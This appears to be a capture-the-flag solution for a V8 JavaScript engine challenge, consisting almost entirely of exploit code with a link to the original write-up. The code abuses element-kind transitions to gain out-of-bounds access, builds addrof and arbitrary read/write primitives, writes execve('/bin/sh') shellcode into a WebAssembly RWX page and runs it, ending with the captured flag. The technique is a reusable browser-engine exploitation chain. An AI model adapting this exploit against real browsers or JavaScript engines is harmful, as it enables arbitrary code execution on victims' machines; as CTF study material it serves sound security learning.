Rating:

```javascript
let oob, oob_rw, base;

function setup() {
oob = new Uint8Array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]);
oob_rw = new BigUint64Array([
0x1111111122222222n,
0x1111111122222222n,
0x1111111122222222n,
]);

// Change the map to Uint32Array allowing us to access 14 ints intead of bytes
%TransitionElementsKind(oob, %GetDerivedMap(Uint32Array, Uint32Array));

//set array length
oob[10] = 0xffffffff;
oob[12] = 0xffffffff;

// external_pointer
base = BigInt(oob[60]) << 32n;
}

function addrof(obj) {
let a = new BigUint64Array(1);
%TransitionElementsKind(a, %GetDerivedMap(Array, []));
a[0] = obj;
%TransitionElementsKind(a, %GetDerivedMap(BigUint64Array, BigUint64Array));
return base + a[0];
}

function read(addr) {
oob[59] = 0;
oob[60] = parseInt(addr >> 32n);

oob[61] = parseInt(addr & 0xffffffffn);
oob[62] = 0;

return oob_rw[0];
}

function write(addr, val) {
// external_pointer
oob[59] = 0;
oob[60] = parseInt(addr >> 32n);

// base_pointer
oob[61] = parseInt(addr & 0xffffffffn);
oob[62] = 0;

oob_rw[0] = val;
}

function write_bytes(addr, bytes) {
while (bytes.length % 8) bytes.push(0);
let a = new BigUint64Array(new Uint8Array(bytes).buffer);
a.forEach((v, i) => {
write(addr + 8n * BigInt(i), v);
});
}

setup();

// prettier-ignore
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,16,11,11,146,128,128,128,0,1,0,65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports.hello;

wasm_mod_addr = addrof(wasm_mod);
rwx = read(wasm_mod_addr - 1n + 8n * 13n);

// prettier-ignore
// pwn shellcraft amd64.linux.sh
let shellcode = [0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x1, 0x1, 0x81, 0x34, 0x24, 0x1, 0x1, 0x1, 0x1, 0x31, 0xf6, 0x56, 0x6a, 0x8, 0x5e, 0x48, 0x1, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0xf, 0x5];
write_bytes(rwx, shellcode);
f();

/**
* cat flag
* SaF{https://www.youtube.com/watch?v=bUx9yPS4ExY}
*/
```

Original writeup (https://gist.github.com/wbowling/b183db735d8ab69682b261e716dc6b76).